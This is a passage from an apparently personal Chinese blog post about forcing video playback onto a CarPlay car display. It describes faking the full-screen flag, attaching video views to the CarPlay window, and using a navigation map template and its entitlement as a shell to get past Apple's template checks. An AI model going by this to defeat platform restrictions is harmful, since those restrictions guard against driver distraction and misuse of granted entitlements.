__supportsCarFullScreen → 永远 YES
2.拿到系统的 CPWindow，把 UIImageView / AVPlayer / WKWebView 直接贴上去播画面
3.表面挂一个 CPMapTemplate（地图模板） 当“合法壳”，实际内容是自定义全屏 UI
再绕过 clientPushedIllegalTemplateOfClass:（非法模板检查）

针对iOS26的系统库分析：

当然，更主要可能是来自于这个问题，新的权限判断是通过hasNavigationEntitlement而不是__supportsCarFullScreen，单独这一项就足够让当前这个app彻底崩溃了。

那么，事情到这里，似乎已经是无解了，但是事实真的如此吗？感觉并不是，去苹果应用商店搜索carplay能找到一堆播放视频的东西，下载了两个，一个只能添加网络视频地址，我没有，所以没法测试，另外一个cartv集成了视频播放功能，在车机上竟然成功了：

手机端界面：

播放页面投屏：

屏幕镜像方式：

那么基于这两种方式也就实现了：

1.app直接在车机播放视频

2.通过屏幕镜像录屏流的方式实现屏幕镜像。

不得不说，第一个发现在这个东西的还真特娘的是个天才。

既然知道了原理，那么要实现这个东西也就简单了，之前已经有了communication权限，那么就可以向车机传送数据，能传送数据那么在创建出对应的窗口来应该就可以了。说干就干，直接上手开撸，当然，主要还是靠ai撸，参考项目目前已经没有什么参考意义了，直接起个新的xcode项目开始实现这些功能。

有了思路之后，写代码其实没什么困难，困难的是代码之外的问题该如何解决，投屏镜像完成之后，兴冲冲的跑到车上测试：

纳尼，怎么跟我想象的不一样呢，这是为虾米啊，苍天啊大地啊，怎么可以酱紫呢。

这，只能说，开头很顺利，失败的也很迅速。当然，这个东西的根源要找起来也简单，就是前面提到的hasNavigationEntitlement，也就是mobileprovision里面对应的com.apple.developer.carplay-maps权限，完整权限列表：

com.apple.developer.carplay-communication

com.apple.developer.carplay-driving-task

com.apple.developer.carplay-maps

而申请com.apple.developer.carplay-maps这个权限，要求app必须要有导航功能，并且是 turn-by-turn的导航才可以，需要提供的资料也比较多，包括app截图，规划，语音播报信息等等。

等拿到权限之后就可以创建一个CPMapTemplate至于里面塞什么东西，那就全看自己的意愿了。这也是cartv之类的视频播放实现方式。

简单视频播放，可以通过推送视频流的方式来实现，同样也是cartv的实现方式，最终app实现效果：

车机等待界面：

视频效果：

https://zhongxiaojie.cn/wp-content/uploads/2026/09/13ac17af786ded5267c3087f7cbfec35.mp4

至于为什么要做这个东西？

那肯定是，因为姐姐我可以做，我能做，我还做出来了！